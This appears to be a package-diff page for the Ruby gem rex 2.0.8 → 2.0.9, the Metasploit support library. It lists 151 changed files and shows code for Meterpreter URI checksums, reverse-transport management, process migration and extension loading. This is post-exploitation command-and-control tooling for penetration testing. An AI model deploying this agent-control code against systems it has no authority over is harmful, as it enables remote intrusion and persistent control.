rex 2.0.8 → 2.0.9

Sign up to get free protection for your applications and to get access to all the features.
Files changed (151) hide show
  1. checksums.yaml +4 -4
  2. data/lib/rex.rb +1 -0
  3. data/lib/rex/arch.rb +5 -0
  4. data/lib/rex/arch/x86.rb +19 -5
  5. data/lib/rex/arch/zarch.rb +17 -0
  6. data/lib/rex/compat.rb +5 -4
  7. data/lib/rex/constants.rb +3 -1
  8. data/lib/rex/encoder/alpha2/alpha_mixed.rb +70 -9
  9. data/lib/rex/encoder/alpha2/alpha_upper.rb +67 -8
  10. data/lib/rex/exploitation/cmdstager.rb +1 -0
  11. data/lib/rex/exploitation/cmdstager/certutil.rb +115 -0
  12. data/lib/rex/exploitation/cmdstager/echo.rb +6 -3
  13. data/lib/rex/exploitation/egghunter.rb +1 -1
  14. data/lib/rex/google/geolocation.rb +68 -0
  15. data/lib/rex/io/bidirectional_pipe.rb +0 -4
  16. data/lib/rex/java/serialization.rb +2 -0
  17. data/lib/rex/java/serialization/decode_error.rb +11 -0
  18. data/lib/rex/java/serialization/encode_error.rb +11 -0
  19. data/lib/rex/java/serialization/model.rb +2 -0
  20. data/lib/rex/java/serialization/model/annotation.rb +3 -3
  21. data/lib/rex/java/serialization/model/block_data.rb +3 -3
  22. data/lib/rex/java/serialization/model/block_data_long.rb +3 -3
  23. data/lib/rex/java/serialization/model/class_desc.rb +6 -6
  24. data/lib/rex/java/serialization/model/contents.rb +17 -10
  25. data/lib/rex/java/serialization/model/field.rb +12 -11
  26. data/lib/rex/java/serialization/model/long_utf.rb +3 -3
  27. data/lib/rex/java/serialization/model/new_array.rb +22 -23
  28. data/lib/rex/java/serialization/model/new_class.rb +57 -0
  29. data/lib/rex/java/serialization/model/new_class_desc.rb +15 -16
  30. data/lib/rex/java/serialization/model/new_enum.rb +5 -5
  31. data/lib/rex/java/serialization/model/new_object.rb +22 -17
  32. data/lib/rex/java/serialization/model/proxy_class_desc.rb +109 -0
  33. data/lib/rex/java/serialization/model/reference.rb +4 -4
  34. data/lib/rex/java/serialization/model/stream.rb +7 -7
  35. data/lib/rex/java/serialization/model/utf.rb +3 -3
  36. data/lib/rex/json_hash_file.rb +94 -0
  37. data/lib/rex/logging/log_sink.rb +1 -0
  38. data/lib/rex/logging/sinks/timestamp_flatfile.rb +21 -0
  39. data/lib/rex/parser/appscan_nokogiri.rb +13 -23
  40. data/lib/rex/parser/fs/ntfs.rb +10 -5
  41. data/lib/rex/parser/nmap_nokogiri.rb +3 -1
  42. data/lib/rex/parser/openvas_nokogiri.rb +70 -73
  43. data/lib/rex/parser/winscp.rb +108 -0
  44. data/lib/rex/parser/x509_certificate.rb +92 -0
  45. data/lib/rex/payloads.rb +0 -1
  46. data/lib/rex/payloads/meterpreter/config.rb +154 -0
  47. data/lib/rex/payloads/meterpreter/uri_checksum.rb +136 -0
  48. data/lib/rex/post/meterpreter.rb +1 -1
  49. data/lib/rex/post/meterpreter/client.rb +26 -3
  50. data/lib/rex/post/meterpreter/client_core.rb +387 -75
  51. data/lib/rex/post/meterpreter/extensions/android/android.rb +127 -37
  52. data/lib/rex/post/meterpreter/extensions/android/tlv.rb +46 -25
  53. data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +4 -0
  54. data/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb +39 -0
  55. data/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb +44 -0
  56. data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +9 -0
  57. data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +16 -1
  58. data/lib/rex/post/meterpreter/extensions/priv/priv.rb +1 -1
  59. data/lib/rex/post/meterpreter/extensions/python/python.rb +114 -0
  60. data/lib/rex/post/meterpreter/extensions/python/tlv.rb +21 -0
  61. data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +17 -14
  62. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +33 -12
  63. data/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb +57 -0
  64. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3 -3
  65. data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +3 -1
  66. data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +2 -0
  67. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +16 -3
  68. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +29 -6
  69. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +5 -1
  70. data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +18 -6
  71. data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +2 -2
  72. data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +34 -36
  73. data/lib/rex/post/meterpreter/packet.rb +29 -0
  74. data/lib/rex/post/meterpreter/packet_dispatcher.rb +20 -7
  75. data/lib/rex/post/meterpreter/ui/console.rb +1 -0
  76. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +230 -72
  77. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +544 -34
  78. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +188 -57
  79. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +115 -93
  80. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +1 -1
  81. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +1 -1
  82. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +49 -15
  83. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +11 -2
  84. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +187 -0
  85. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +324 -133
  86. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +52 -2
  87. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +68 -65
  88. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +9 -1
  89. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +113 -118
  90. data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +3 -0
  91. data/lib/rex/powershell.rb +62 -0
  92. data/lib/rex/powershell/command.rb +359 -0
  93. data/lib/rex/{exploitation/powershell → powershell}/function.rb +0 -2
  94. data/lib/rex/{exploitation/powershell → powershell}/obfu.rb +0 -2
  95. data/lib/rex/{exploitation/powershell → powershell}/output.rb +11 -5
  96. data/lib/rex/{exploitation/powershell → powershell}/param.rb +0 -2
  97. data/lib/rex/powershell/parser.rb +182 -0
  98. data/lib/rex/powershell/payload.rb +78 -0
  99. data/lib/rex/{exploitation/powershell → powershell}/psh_methods.rb +16 -2
  100. data/lib/rex/{exploitation/powershell → powershell}/script.rb +2 -4
  101. data/lib/rex/proto/dcerpc/client.rb +6 -6
  102. data/lib/rex/proto/dcerpc/exceptions.rb +26 -0
  103. data/lib/rex/proto/http/client.rb +3 -3
  104. data/lib/rex/proto/http/client_request.rb +0 -5
  105. data/lib/rex/proto/http/response.rb +86 -0
  106. data/lib/rex/proto/ipmi/utils.rb +30 -26
  107. data/lib/rex/proto/kerberos/client.rb +1 -1
  108. data/lib/rex/proto/kerberos/model/kdc_request.rb +2 -2
  109. data/lib/rex/proto/rfb/client.rb +8 -3
  110. data/lib/rex/proto/rfb/constants.rb +1 -1
  111. data/lib/rex/proto/rmi.rb +2 -0
  112. data/lib/rex/proto/rmi/decode_error.rb +10 -0
  113. data/lib/rex/proto/rmi/exception.rb +10 -0
  114. data/lib/rex/proto/rmi/model.rb +5 -0
  115. data/lib/rex/proto/rmi/model/call.rb +4 -4
  116. data/lib/rex/proto/rmi/model/call_data.rb +137 -0
  117. data/lib/rex/proto/rmi/model/dgc_ack.rb +2 -2
  118. data/lib/rex/proto/rmi/model/element.rb +26 -11
  119. data/lib/rex/proto/rmi/model/output_header.rb +4 -4
  120. data/lib/rex/proto/rmi/model/ping.rb +2 -2
  121. data/lib/rex/proto/rmi/model/ping_ack.rb +2 -2
  122. data/lib/rex/proto/rmi/model/protocol_ack.rb +2 -2
  123. data/lib/rex/proto/rmi/model/return_data.rb +5 -5
  124. data/lib/rex/proto/rmi/model/return_value.rb +124 -0
  125. data/lib/rex/proto/rmi/model/unique_identifier.rb +77 -0
  126. data/lib/rex/proto/steam.rb +3 -0
  127. data/lib/rex/proto/steam/message.rb +125 -0
  128. data/lib/rex/proto/tftp/client.rb +35 -14
  129. data/lib/rex/random_identifier_generator.rb +2 -0
  130. data/lib/rex/ropbuilder.rb +1 -1
  131. data/lib/rex/socket/parameters.rb +9 -0
  132. data/lib/rex/socket/ssl_tcp.rb +25 -41
  133. data/lib/rex/socket/ssl_tcp_server.rb +10 -21
  134. data/lib/rex/sslscan/result.rb +20 -1
  135. data/lib/rex/text.rb +241 -55
  136. data/lib/rex/ui/output.rb +0 -3
  137. data/lib/rex/ui/subscriber.rb +0 -10
  138. data/lib/rex/ui/text/color.rb +9 -0
  139. data/lib/rex/ui/text/dispatcher_shell.rb +1 -0
  140. data/lib/rex/ui/text/output.rb +15 -4
  141. data/lib/rex/ui/text/output/file.rb +1 -0
  142. data/lib/rex/ui/text/output/stdio.rb +0 -16
  143. data/lib/rex/ui/text/shell.rb +3 -0
  144. data/lib/rex/ui/text/table.rb +85 -19
  145. data/lib/rex/user_agent.rb +118 -0
  146. data/rex.gemspec +2 -2
  147. metadata +41 -14
  148. data/lib/rex/exploitation/powershell.rb +0 -62
  149. data/lib/rex/exploitation/powershell/parser.rb +0 -183
  150. data/lib/rex/payloads/meterpreter.rb +0 -2
  151. data/lib/rex/payloads/meterpreter/patch.rb +0 -136
@@ -0,0 +1,136 @@
1
+ # -*- coding: binary -*-
2
+ require 'msf/core/payload/uuid'
3
+
4
+ module Rex
5
+ module Payloads
6
+ module Meterpreter
7
+ module UriChecksum
8
+
9
+ #
10
+ # Define 8-bit checksums for matching URLs
11
+ # These are based on charset frequency
12
+ #
13
+ URI_CHECKSUM_INITW = 92 # Windows
14
+ URI_CHECKSUM_INITN = 92 # Native (same as Windows)
15
+ URI_CHECKSUM_INITP = 80 # Python
16
+ URI_CHECKSUM_INITJ = 88 # Java
17
+ URI_CHECKSUM_CONN = 98 # Existing session
18
+ URI_CHECKSUM_INIT_CONN = 95 # New stageless session
19
+
20
+ # Mapping between checksums and modes
21
+ URI_CHECKSUM_MODES = Hash[
22
+ URI_CHECKSUM_INITN, :init_native,
23
+ URI_CHECKSUM_INITP, :init_python,
24
+ URI_CHECKSUM_INITJ, :init_java,
25
+ URI_CHECKSUM_INIT_CONN, :init_connect,
26
+ URI_CHECKSUM_CONN, :connect
27
+ ]
28
+
29
+ URI_CHECKSUM_MIN_LEN = 5
30
+
31
+ # Limit how long :connect URLs are to stay within 256 bytes when including
32
+ # the hostname, colon, port, and leading slash
33
+ URI_CHECKSUM_CONN_MAX_LEN = 128
34
+
35
+ URI_CHECKSUM_UUID_MIN_LEN = URI_CHECKSUM_MIN_LEN + Msf::Payload::UUID::UriLength
36
+
37
+ # Map "random" URIs to static strings, allowing us to randomize
38
+ # the URI sent in the first request.
39
+ #
40
+ # @param uri [String] The URI string from the HTTP request
41
+ # @return [Hash] The attributes extracted from the URI
42
+ def process_uri_resource(uri)
43
+
44
+ # Ignore non-base64url characters in the URL
45
+ uri_bare = uri.gsub(/[^a-zA-Z0-9_\-]/, '')
46
+
47
+ # Figure out the mode based on the checksum
48
+ uri_csum = Rex::Text.checksum8(uri_bare)
49
+
50
+ # Extract the UUID if the URI is long enough
51
+ uri_uuid = nil
52
+ if uri_bare.length >= URI_CHECKSUM_UUID_MIN_LEN
53
+ uri_uuid = Msf::Payload::UUID.new(uri: uri_bare)
54
+ end
55
+
56
+ uri_mode = URI_CHECKSUM_MODES[uri_csum]
57
+
58
+ # Return a hash of URI attributes
59
+ { uri: uri_bare, sum: uri_csum, uuid: uri_uuid, mode: uri_mode }
60
+ end
61
+
62
+ # Create a URI that matches the specified checksum and payload uuid
63
+ #
64
+ # @param sum [Fixnum] A checksum mode value to use for the generated url
65
+ # @param uuid [Msf::Payload::UUID] A valid UUID object
66
+ # @param len [Fixnum] An optional URI length value, including the leading slash
67
+ # @return [String] The URI string for connections
68
+ def generate_uri_uuid(sum, uuid, len=nil)
69
+ curl_uri_len = URI_CHECKSUM_UUID_MIN_LEN+rand(URI_CHECKSUM_CONN_MAX_LEN-URI_CHECKSUM_UUID_MIN_LEN)
70
+ curl_prefix = uuid.to_uri
71
+
72
+ if len
73
+ # Subtract a byte to take into account the leading /
74
+ curl_uri_len = len - 1
75
+ end
76
+
77
+ if curl_uri_len < URI_CHECKSUM_UUID_MIN_LEN
78
+ raise ArgumentError, "Length must be #{URI_CHECKSUM_UUID_MIN_LEN+1} bytes or greater"
79
+ end
80
+
81
+ # Pad out the URI and make the checksum match the specified sum
82
+ "/" + generate_uri_checksum(sum, curl_uri_len, curl_prefix)
83
+ end
84
+
85
+ # Create an arbitrary length URI that matches a given checksum
86
+ #
87
+ # @param sum [Fixnum] The checksum value that the generated URI should match
88
+ # @param len [Fixnum] The length of the URI to generate
89
+ # @param prefix [String] The optional prefix to use to build the URI
90
+ # @return [String] The URI string that checksums to the given value
91
+ def generate_uri_checksum(sum, len=5, prefix="")
92
+ # Lengths shorter than 4 bytes are unable to match all possible checksums
93
+ # Lengths of exactly 4 are relatively slow to find for high checksum values
94
+ # Lengths of 5 or more bytes find a matching checksum fairly quickly (~80ms)
95
+ if len < URI_CHECKSUM_MIN_LEN
96
+ raise ArgumentError, "Length must be #{URI_CHECKSUM_MIN_LEN} bytes or greater"
97
+ end
98
+
99
+ gen_len = len-prefix.length
100
+ if gen_len < URI_CHECKSUM_MIN_LEN
101
+ raise ArgumentError, "Prefix must be at least {URI_CHECKSUM_MIN_LEN} bytes smaller than total length"
102
+ end
103
+
104
+ # Brute force a matching checksum for shorter URIs
105
+ if gen_len < 40
106
+ loop do
107
+ uri = prefix + Rex::Text.rand_text_base64url(gen_len)
108
+ return uri if Rex::Text.checksum8(uri) == sum
109
+ end
110
+ end
111
+
112
+ # The rand_text_base64url() method becomes a bottleneck at around 40 bytes
113
+ # Calculating a static prefix flattens out the average runtime for longer URIs
114
+ prefix << Rex::Text.rand_text_base64url(gen_len-20)
115
+
116
+ loop do
117
+ uri = prefix + Rex::Text.rand_text_base64url(20)
118
+ return uri if Rex::Text.checksum8(uri) == sum
119
+ end
120
+ end
121
+
122
+ # Return the numerical checksum for a given mode symbol
123
+ #
124
+ # @param mode [Symbol] The mode symbol to lookup (:connect, :init_native, :init_python, :init_java)
125
+ # @return [Fixnum] The URI checksum value corresponding with the mode
126
+ def uri_checksum_lookup(mode)
127
+ sum = URI_CHECKSUM_MODES.keys.select{|ksum| URI_CHECKSUM_MODES[ksum] == mode}.first
128
+ unless sum
129
+ raise ArgumentError, "Unknown checksum mode: #{mode}"
130
+ end
131
+ sum
132
+ end
133
+ end
134
+ end
135
+ end
136
+ end
@@ -1,5 +1,5 @@
1
1
  # -*- coding: binary -*-
2
2
 
3
- require 'meterpreter_bins'
3
+ require 'metasploit-payloads'
4
4
  require 'rex/post/meterpreter/client'
5
5
  require 'rex/post/meterpreter/ui/console'
@@ -85,11 +85,18 @@ class Client
85
85
  # Cleans up the meterpreter instance, terminating the dispatcher thread.
86
86
  #
87
87
  def cleanup_meterpreter
88
- ext.aliases.each_value do | extension |
89
- extension.cleanup if extension.respond_to?( 'cleanup' )
88
+ if not self.skip_cleanup
89
+ ext.aliases.each_value do | extension |
90
+ extension.cleanup if extension.respond_to?( 'cleanup' )
91
+ end
90
92
  end
93
+
91
94
  dispatcher_thread.kill if dispatcher_thread
92
- core.shutdown rescue nil
95
+
96
+ if not self.skip_cleanup
97
+ core.shutdown rescue nil
98
+ end
99
+
93
100
  shutdown_passive_dispatcher
94
101
  end
95
102
 
@@ -111,6 +118,8 @@ class Client
111
118
  self.ssl = opts[:ssl]
112
119
  self.expiration = opts[:expiration]
113
120
  self.comm_timeout = opts[:comm_timeout]
121
+ self.retry_total = opts[:retry_total]
122
+ self.retry_wait = opts[:retry_wait]
114
123
  self.passive_dispatcher = opts[:passive_dispatcher]
115
124
 
116
125
  self.response_timeout = opts[:timeout] || self.class.default_timeout
@@ -194,6 +203,7 @@ class Client
194
203
  self.sock.extend(Rex::Socket::SslTcp)
195
204
  self.sock.sslsock = ssl
196
205
  self.sock.sslctx = ctx
206
+ self.sock.sslhash = Rex::Text.sha1_raw(ctx.cert.to_der)
197
207
 
198
208
  tag = self.sock.get_once(-1, 30)
199
209
  if(not tag or tag !~ /^GET \//)
@@ -206,6 +216,7 @@ class Client
206
216
  self.sock.sslsock.close
207
217
  self.sock.sslsock = nil
208
218
  self.sock.sslctx = nil
219
+ self.sock.sslhash = nil
209
220
  self.sock = self.sock.fd
210
221
  self.sock.extend(::Rex::Socket::Tcp)
211
222
  end
@@ -451,6 +462,14 @@ class Client
451
462
  #
452
463
  attr_accessor :comm_timeout
453
464
  #
465
+ # The total time for retrying connections
466
+ #
467
+ attr_accessor :retry_total
468
+ #
469
+ # The time to wait between retry attempts
470
+ #
471
+ attr_accessor :retry_wait
472
+ #
454
473
  # The Passive Dispatcher
455
474
  #
456
475
  attr_accessor :passive_dispatcher
@@ -462,6 +481,10 @@ class Client
462
481
  # A list of the commands
463
482
  #
464
483
  attr_reader :commands
484
+ #
485
+ # The timestamp of the last received response
486
+ #
487
+ attr_accessor :last_checkin
465
488
 
466
489
  protected
467
490
  attr_accessor :parser, :ext_aliases # :nodoc:
@@ -8,8 +8,12 @@ require 'rex/post/meterpreter/client'
8
8
  # argument for moving the meterpreter client into the Msf namespace.
9
9
  require 'msf/core/payload/windows'
10
10
 
11
- # Provides methods to patch options into the metsrv stager.
12
- require 'rex/payloads/meterpreter/patch'
11
+ # URI uuid and checksum stuff
12
+ require 'msf/core/payload/uuid'
13
+ require 'rex/payloads/meterpreter/uri_checksum'
14
+
15
+ # certificate hash checking
16
+ require 'rex/parser/x509_certificate'
13
17
 
14
18
  module Rex
15
19
  module Post
@@ -28,11 +32,29 @@ class ClientCore < Extension
28
32
  UNIX_PATH_MAX = 108
29
33
  DEFAULT_SOCK_PATH = "/tmp/meterpreter.sock"
30
34
 
35
+ METERPRETER_TRANSPORT_SSL = 0
36
+ METERPRETER_TRANSPORT_HTTP = 1
37
+ METERPRETER_TRANSPORT_HTTPS = 2
38
+
39
+ TIMEOUT_SESSION = 24*3600*7 # 1 week
40
+ TIMEOUT_COMMS = 300 # 5 minutes
41
+ TIMEOUT_RETRY_TOTAL = 60*60 # 1 hour
42
+ TIMEOUT_RETRY_WAIT = 10 # 10 seconds
43
+
44
+ VALID_TRANSPORTS = {
45
+ 'reverse_tcp' => METERPRETER_TRANSPORT_SSL,
46
+ 'reverse_http' => METERPRETER_TRANSPORT_HTTP,
47
+ 'reverse_https' => METERPRETER_TRANSPORT_HTTPS,
48
+ 'bind_tcp' => METERPRETER_TRANSPORT_SSL
49
+ }
50
+
51
+ include Rex::Payloads::Meterpreter::UriChecksum
52
+
31
53
  #
32
54
  # Initializes the 'core' portion of the meterpreter client commands.
33
55
  #
34
56
  def initialize(client)
35
- super(client, "core")
57
+ super(client, 'core')
36
58
  end
37
59
 
38
60
  ##
@@ -41,6 +63,92 @@ class ClientCore < Extension
41
63
  #
42
64
  ##
43
65
 
66
+ #
67
+ # Get a list of loaded commands for the given extension.
68
+ #
69
+ def get_loaded_extension_commands(extension_name)
70
+ request = Packet.create_request('core_enumextcmd')
71
+ request.add_tlv(TLV_TYPE_STRING, extension_name)
72
+
73
+ begin
74
+ response = self.client.send_packet_wait_response(request, self.client.response_timeout)
75
+ rescue
76
+ # In the case where orphaned shells call back with OLD copies of the meterpreter
77
+ # binaries, we end up with a case where this fails. So here we just return the
78
+ # empty list of supported commands.
79
+ return []
80
+ end
81
+
82
+ # No response?
83
+ if response.nil?
84
+ raise RuntimeError, 'No response was received to the core_enumextcmd request.', caller
85
+ elsif response.result != 0
86
+ # This case happens when the target doesn't support the core_enumextcmd message.
87
+ # If this is the case, then we just want to ignore the error and return an empty
88
+ # list. This will force the caller to load any required modules.
89
+ return []
90
+ end
91
+
92
+ commands = []
93
+ response.each(TLV_TYPE_STRING) { |c|
94
+ commands << c.value
95
+ }
96
+
97
+ commands
98
+ end
99
+
100
+ def transport_list
101
+ request = Packet.create_request('core_transport_list')
102
+ response = client.send_request(request)
103
+
104
+ result = {
105
+ :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
106
+ :transports => []
107
+ }
108
+
109
+ response.each(TLV_TYPE_TRANS_GROUP) { |t|
110
+ result[:transports] << {
111
+ :url => t.get_tlv_value(TLV_TYPE_TRANS_URL),
112
+ :comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
113
+ :retry_total => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
114
+ :retry_wait => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT),
115
+ :ua => t.get_tlv_value(TLV_TYPE_TRANS_UA),
116
+ :proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST),
117
+ :proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER),
118
+ :proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS),
119
+ :cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
120
+ }
121
+ }
122
+
123
+ result
124
+ end
125
+
126
+ def set_transport_timeouts(opts={})
127
+ request = Packet.create_request('core_transport_set_timeouts')
128
+
129
+ if opts[:session_exp]
130
+ request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
131
+ end
132
+ if opts[:comm_timeout]
133
+ request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
134
+ end
135
+ if opts[:retry_total]
136
+ request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
137
+ end
138
+ if opts[:retry_wait]
139
+ request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
140
+ end
141
+
142
+ response = client.send_request(request)
143
+
144
+ {
145
+ :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
146
+ :comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
147
+ :retry_total => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
148
+ :retry_wait => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT)
149
+ }
150
+ end
151
+
44
152
  #
45
153
  # Loads a library on the remote meterpreter instance. This method
46
154
  # supports loading both extension and non-extension libraries and
@@ -72,7 +180,7 @@ class ClientCore < Extension
72
180
 
73
181
  # No library path, no cookie.
74
182
  if library_path.nil?
75
- raise ArgumentError, "No library file path was supplied", caller
183
+ raise ArgumentError, 'No library file path was supplied', caller
76
184
  end
77
185
 
78
186
  # Set up the proper loading flags
@@ -107,7 +215,7 @@ class ClientCore < Extension
107
215
  # path of the local and target so that it gets loaded with a random
108
216
  # name
109
217
  if opts['Extension']
110
- library_path = "ext" + rand(1000000).to_s + ".#{client.binary_suffix}"
218
+ library_path = "ext#{rand(1000000)}.#{client.binary_suffix}"
111
219
  target_path = library_path
112
220
  end
113
221
  end
@@ -125,7 +233,7 @@ class ClientCore < Extension
125
233
 
126
234
  # No response?
127
235
  if response.nil?
128
- raise RuntimeError, "No response was received to the core_loadlib request.", caller
236
+ raise RuntimeError, 'No response was received to the core_loadlib request.', caller
129
237
  elsif response.result != 0
130
238
  raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
131
239
  end
@@ -153,44 +261,186 @@ class ClientCore < Extension
153
261
  if mod.nil?
154
262
  raise RuntimeError, "No modules were specified", caller
155
263
  end
156
- # Get us to the installation root and then into data/meterpreter, where
157
- # the file is expected to be
158
- modname = "ext_server_#{mod.downcase}"
159
- path = MeterpreterBinaries.path(modname, client.binary_suffix)
160
264
 
161
- if opts['ExtensionPath']
162
- path = ::File.expand_path(opts['ExtensionPath'])
163
- end
265
+ # Query the remote instance to see if commands for the extension are
266
+ # already loaded
267
+ commands = get_loaded_extension_commands(mod.downcase)
164
268
 
165
- if path.nil?
166
- raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
269
+ # if there are existing commands for the given extension, then we can use
270
+ # what's already there
271
+ unless commands.length > 0
272
+ # Get us to the installation root and then into data/meterpreter, where
273
+ # the file is expected to be
274
+ modname = "ext_server_#{mod.downcase}"
275
+ path = MetasploitPayloads.meterpreter_path(modname, client.binary_suffix)
276
+
277
+ if opts['ExtensionPath']
278
+ path = ::File.expand_path(opts['ExtensionPath'])
279
+ end
280
+
281
+ if path.nil?
282
+ raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
283
+ end
284
+
285
+ # Load the extension DLL
286
+ commands = load_library(
287
+ 'LibraryFilePath' => path,
288
+ 'UploadLibrary' => true,
289
+ 'Extension' => true,
290
+ 'SaveToDisk' => opts['LoadFromDisk'])
167
291
  end
168
292
 
169
- # Load the extension DLL
170
- commands = load_library(
171
- 'LibraryFilePath' => path,
172
- 'UploadLibrary' => true,
173
- 'Extension' => true,
174
- 'SaveToDisk' => opts['LoadFromDisk'])
293
+ # wire the commands into the client
175
294
  client.add_extension(mod, commands)
176
295
 
177
296
  return true
178
297
  end
179
298
 
299
+ def uuid(timeout=nil)
300
+ request = Packet.create_request('core_uuid')
301
+
302
+ args = [ request ]
303
+ args << timeout if timeout
304
+ response = client.send_request(*args)
305
+
306
+ id = response.get_tlv_value(TLV_TYPE_UUID)
307
+
308
+ return Msf::Payload::UUID.new({:raw => id})
309
+ end
310
+
311
+ def machine_id(timeout=nil)
312
+ request = Packet.create_request('core_machine_id')
313
+
314
+ args = [ request ]
315
+ args << timeout if timeout
316
+
317
+ response = client.send_request(*args)
318
+
319
+ mid = response.get_tlv_value(TLV_TYPE_MACHINE_ID)
320
+
321
+ # Normalise the format of the incoming machine id so that it's consistent
322
+ # regardless of case and leading/trailing spaces. This means that the
323
+ # individual meterpreters don't have to care.
324
+
325
+ # Note that the machine ID may be blank or nil and that is OK
326
+ Rex::Text.md5(mid.to_s.downcase.strip)
327
+ end
328
+
329
+ def transport_remove(opts={})
330
+ request = transport_prepare_request('core_transport_remove', opts)
331
+
332
+ return false unless request
333
+
334
+ client.send_request(request)
335
+
336
+ return true
337
+ end
338
+
339
+ def transport_add(opts={})
340
+ request = transport_prepare_request('core_transport_add', opts)
341
+
342
+ return false unless request
343
+
344
+ client.send_request(request)
345
+
346
+ return true
347
+ end
348
+
349
+ def transport_change(opts={})
350
+ request = transport_prepare_request('core_transport_change', opts)
351
+
352
+ return false unless request
353
+
354
+ client.send_request(request)
355
+
356
+ return true
357
+ end
358
+
359
+ def transport_sleep(seconds)
360
+ return false if seconds == 0
361
+
362
+ request = Packet.create_request('core_transport_sleep')
363
+
364
+ # we're reusing the comms timeout setting here instead of
365
+ # creating a whole new TLV value
366
+ request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, seconds)
367
+ client.send_request(request)
368
+ return true
369
+ end
370
+
371
+ def transport_next
372
+ request = Packet.create_request('core_transport_next')
373
+ client.send_request(request)
374
+ return true
375
+ end
376
+
377
+ def transport_prev
378
+ request = Packet.create_request('core_transport_prev')
379
+ client.send_request(request)
380
+ return true
381
+ end
382
+
383
+ #
384
+ # Enable the SSL certificate has verificate
385
+ #
386
+ def enable_ssl_hash_verify
387
+ # Not supported unless we have a socket with SSL enabled
388
+ return nil unless self.client.sock.type? == 'tcp-ssl'
389
+
390
+ request = Packet.create_request('core_transport_setcerthash')
391
+
392
+ hash = Rex::Text.sha1_raw(self.client.sock.sslctx.cert.to_der)
393
+ request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
394
+
395
+ client.send_request(request)
396
+
397
+ return hash
398
+ end
399
+
400
+ #
401
+ # Disable the SSL certificate has verificate
402
+ #
403
+ def disable_ssl_hash_verify
404
+ # Not supported unless we have a socket with SSL enabled
405
+ return nil unless self.client.sock.type? == 'tcp-ssl'
406
+
407
+ request = Packet.create_request('core_transport_setcerthash')
408
+
409
+ # send an empty request to disable it
410
+ client.send_request(request)
411
+
412
+ return true
413
+ end
414
+
415
+ #
416
+ # Attempt to get the SSL hash being used for verificaton (if any).
417
+ #
418
+ # @return 20-byte sha1 hash currently being used for verification.
419
+ #
420
+ def get_ssl_hash_verify
421
+ # Not supported unless we have a socket with SSL enabled
422
+ return nil unless self.client.sock.type? == 'tcp-ssl'
423
+
424
+ request = Packet.create_request('core_transport_getcerthash')
425
+ response = client.send_request(request)
426
+
427
+ return response.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
428
+ end
429
+
180
430
  #
181
431
  # Migrates the meterpreter instance to the process specified
182
432
  # by pid. The connection to the server remains established.
183
433
  #
184
- def migrate(pid, writable_dir = nil)
185
- keepalive = client.send_keepalives
434
+ def migrate(pid, writable_dir = nil, opts = {})
435
+ keepalive = client.send_keepalives
186
436
  client.send_keepalives = false
187
- process = nil
188
- binary_suffix = nil
189
- old_platform = client.platform
190
- old_binary_suffix = client.binary_suffix
437
+ process = nil
438
+ binary_suffix = nil
439
+ old_platform = client.platform
440
+ old_binary_suffix = client.binary_suffix
191
441
 
192
442
  # Load in the stdapi extension if not allready present so we can determine the target pid architecture...
193
